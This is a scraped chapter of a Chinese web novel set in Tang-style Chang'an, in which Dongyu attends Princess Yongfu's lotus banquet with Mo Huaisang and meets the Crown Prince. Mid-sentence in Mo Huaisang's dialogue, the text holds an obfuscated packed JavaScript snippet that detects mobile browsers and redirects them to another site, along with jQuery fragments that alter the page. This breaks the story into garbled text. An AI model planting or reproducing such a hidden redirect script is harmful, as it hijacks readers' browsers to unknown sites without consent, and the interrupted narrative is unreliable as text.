默认冷灰
24号文字
方正启体

50.赏荷宴?鸿门宴?

作者:花一幕本书字数:K更新时间:
    六月酷暑,天地间闷热得像一个巨大的蒸笼。


    一辆雕画精美的牛车从平康坊的墨府驶出,拐入繁华的朱雀大街。


    沿途屋顶成千上万块瓦片,反射炽烈骄阳,麟麟光点闪烁,似火龙飞舞。


    东隅指尖刚触到车窗便倏地收回,铜制窗板被晒得发烫,连轻柔纱罗制的车帷都触手闷热。


    角落早已放置了冰块,车厢里温度适宜,摩挲着被烫的指头,东隅暗叹自己到底是被养娇了。


    以前装神弄鬼讨生活,因为怕鬼,不得不挑阳气最盛也最热的时段做法事,即便汗出如浆面上却丝毫不显。如今倒好,居然连块发烫的铜板都受不住。


    “东隅小娘子,永福公主府的盛宴珍馐是出了名的,您今日不妨多尝尝,眼下就先用些冰镇的三勒浆吧。”


    诗画将从食盒里取出的冰饮,放上矮几。


    带着寒气的琉璃杯外,瞬间凝出细密水珠,东隅毫不在意,用手拂了拂,仰头大喝一口。


    诗画取来布巾正要擦拭,见状抿嘴轻笑,随即眉心微微蹙起:“今日来的多是宗室贵女,要不,还是让我们跟着您吧……”


    墨大掌事发话,东隅小娘子是墨府的贵客,阖府上下自是不敢慢待。


    虽然东隅小娘子不讲究排场,但俗话说“宰相家奴七品官,世族屋前无犬吠”,长安城里权贵成堆,仆从们也会看人下菜,可今日赴宴,还不让她们随侍……


    “就是就是。”不同于诗画的稳重,书琴性情活泼,“绣房昨儿个特意送来赶制出的软罗诃子裙与大袖衫,我还盼着您艳压群芳呢。”


    “咳咳咳……”东隅一时不察,被呛得查了起,“别别别。”


    她今日仍做男子装扮,连连摆手:“你们忘了上次曲江宴被融安县主刁难的事儿?我一穿女装准没好事,再说了,我不过是墨少卿的幕僚而已,哪一位贵女我都惹不起,我还是跟墨言作伴,跟在少卿后边稳妥些。”


    “怕什么?您可是我们墨府的小娘子。哼,惹了墨府的县主什么下场全京城都知道了……”看到诗画不赞成的目光,书琴吐了吐舌头,“我的意思是……恶人有天收。”


    “慎言。你再这么口无遮拦,我就禀明李大娘,下次再也不带你出门……”


    在诗画的劝诫声中,东隅陷入沉思。


    也许嚣张跋扈的融安县主是死有余辜,鸿胪寺卿夫人却罪不至死,为贪墨的夫君所连累,被贪婪的幕后黑手驱役猫鬼谋害。


    在炼化猫鬼之夜,搜到三千多两黄金后,墨淮桑果真撂开手,将结案工作抛给三法司,镇日不是躲在府里跟东隅斗嘴、与墨紫腻歪,就是应狐朋狗友邀请出门寻欢作乐。


    东隅原本以为墨淮桑中途撂挑子,估计同僚们敢怒不敢言,不料墨言嗤之以鼻:


    “他们巴不得三郎不干呢,无论是扬州私盗金矿案还是猫鬼凶杀案,大致的案情脉络已经被您二位理得明明白白,他们只需要顺着框架,审问、查找、做实证据链,个个有功劳。”


    “嘿嘿嘿,反正三郎和您是最大功臣,剩下的苦活累活,随他们抢呗。”墨言奸诈一笑,“您不知道,三郎在大理寺都可以横着走了。”


    东隅困惑抬眼,在京城里,纨绔少卿不是一向横着走吗?跟东海的螃蟹似的。


    墨言看懂了她的未竟之言,激动辩解:“那不一样,以前三郎是大理寺的镇寺祥瑞,现下他可是不折不扣的顶梁柱啊。”


    东隅发笑,在这个大案中,不知墨淮桑是有意急流勇退,给同僚分功劳,还是单纯不想干活,结果都不赖。


    近三个月的紧急审理,扬州私盗金矿案已在五月底顺利结案,主谋扬州刺史陈文斌、鸿胪寺卿孙叔淼、太子府少詹事崔承吉都被判流放,并处罚没家产。


    念在祖上的功绩,主谋之一的吴郡王被剥夺爵位,沦为庶民。


    其余从犯,根据所犯罪行轻重,也依律各有惩处。


    相对的,审理此案的三法司,所有参与办案的官吏都升了一级,除了各部主官与墨淮桑。


    原因无他,办案期间,弹劾墨淮桑的折子如雪片一般飞到皇帝的御案,“滥用职权”、“徇私舞弊”、“骄奢淫逸”……


    金矿案与多方势力牵连,查案困难重重,墨淮桑当初对着办案同僚大放厥词:“若查案中途有任何为难之处,尽管报上我的名字。”


    可以说,墨淮桑以一己之力,吸引了各方势力借题发挥的火力,对此圣人心知肚明。


    所有弹劾墨淮桑的折子,圣人全部留中不发,最后论功行赏,也没有墨淮桑的份,明面上的功过相抵。


    三法司全员官升一级的当晚,圣人就大开私库,以“心疼外甥”为名的赏赐,如流水一般流向墨府。


    弹劾墨淮桑的一众官员得到消息,恨得牙痒痒,却也只能偃旗息鼓。


    圣眷正浓,光凭这一点,墨淮桑就依然是京城权贵的座上宾。然而拜帖众多,他只应下了永福公主府“赏荷宴”。


    回想到这里,东隅忍不住叹气,想不通公主为何特意点名让她去,若是公干,她应对游刃有余,若是宴饮游乐……


    有这闲暇,她还不如在水阁陪黑包修养呢。


    哎,愁人。


    东隅一口倒掉杯中的三勒浆,发现了杯底的五彩猫爪印。


    见她瞪圆了杏仁眼,书琴捂嘴笑:


    “您终于发现啦?这是郎君为了庆祝墨紫回家,特意命工匠打造的墨紫琉璃餐具,墨大掌事特意交代,既然您和郎君有共养墨紫这等奇妙缘分,也给您准备了一套,杯底还有它的名字呢,好看吗?您喜欢吗?”


    好看是好看,喜欢是喜欢,但墨淮桑是真卑鄙,东隅心底在咆哮,那明明是她的黑包,他居然妄想用小动作夺走黑包的命名权。


    “东隅小娘子,永福公主的避暑庄园到了。”诗画小声提醒道,“郎君已经在门口,似乎在等您。”


    东隅胸口翻涌的怒气一滞:冷面少卿有这么好心?


    她下车走近,墨淮桑一身宝蓝色常服,摇着金丝秀扇,看过来的眼神满是嫌弃:“胆子不小,居然让本少卿等那般久。走


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880110|164905||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吧。”


    还真是在等她啊,东隅愣了一瞬,快步跟上。


    留下墨言在后面摇头,三郎这张嘴没救了,他们一大早出城办完事儿,又赶紧飞驰到皇庄,还不是担心让东隅小娘子久等。


    门口内侍得到墨淮桑的只是,恭敬地在前方引路。


    穿过月洞门,一大片仿佛漫无边际的翡翠绿闯入眼帘,莲叶接天铺展开,间有亭亭粉荷俏然而立,采莲舟穿行其中,好似一副流动的画卷。


    阵阵凉风裹着荷香拂过,东隅忍不住深深吸了一口,顿感心旷神怡。


    九曲回廊建在荷塘一角,穿行其间,自然掬满一怀荷香。隐约听到或婉转或清脆的嬉笑碎语,想来是贵女们早已乘了画船游玩。


    荷塘东侧有一处垂柳掩映的土台,郎君们在场蹴鞠、射箭,偶尔爆发如雷的喝彩。


    走过回廊,便见到前方矗立的一座避暑凉亭。


    主位的青玉榻上无人,十二幅的蜀锦屏风后,只有垂坐摇扇的侍女。


    公主府掌事迎了上来,满脸堆笑:“老奴有失远迎怠慢了少卿,请恕罪。公主适才去了马球场,老奴这就去禀明公主您来了,请先行就坐。”


    墨淮桑笑道:“大掌事辛苦,是我来晚了,在姨母这里我向来自在得很,不必因为我扫了姨母的雅兴,等她尽兴归来,我再来请安也不迟。”


    大掌事连连应是,亲自将墨淮桑引到席位坐下。


    衣带翩飞的侍女鱼贯而入,送来各色珍馐。


    白玉盏盛黄白酥山,缀以鲜荷花瓣,清香扑鼻;九孔鲜藕浸蜜冰镇,盛在碧翠玉雕的荷叶盘里,白雾沿着盘缘缓缓流淌……


    东隅目不暇接,不知先从哪一道下手。侍女们都说永福公主最擅玩乐,进入庄园后一路的见闻,让她叹为观止。


    “用碗接着些,看你那副几百年没吃过东西的样子,自己的哈喇子也别浪费。”


    墨淮桑嘲讽的话,东隅充耳不闻,全当他放屁。


    看来今日“赏荷宴”是不折不扣的享乐宴,如此美景佳肴,任何迟疑犹豫都是对它们的不敬,东隅心情大好,来之前的惴惴不安全被她抛到脑后。


    悦耳的丝竹声中,她斯文地大快朵颐。


    这时,大掌事匆匆走来:“墨少卿,荷池新发现一株珍贵的双色莲,公主邀您与祈郎君共赏,这边请。”


    墨淮桑淡定地看了东隅一眼,转向大掌事:“请带路。”


    东隅的满腹疑惑生生被压下,她恋恋不舍地放下筷子,跟上墨淮桑。


    一行人沿着另一边回廊,来到荷塘深处的一座凉亭。


    隔着重重帘幕,隐约见到公主华丽的头冠,不知为何东隅暗暗松了口气。


    待走进凉亭,东隅便听到墨淮桑镇定的声音:“见过太子殿下。”


    东隅心底一突,慌乱地跟着行礼。


    什么?太子来了?


    想到上个月被判流放的太子府少詹事,东隅感觉方才吃下的美味珍馐在肚里沉重如石头。


    太子莫不是兴师问罪来了吧?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)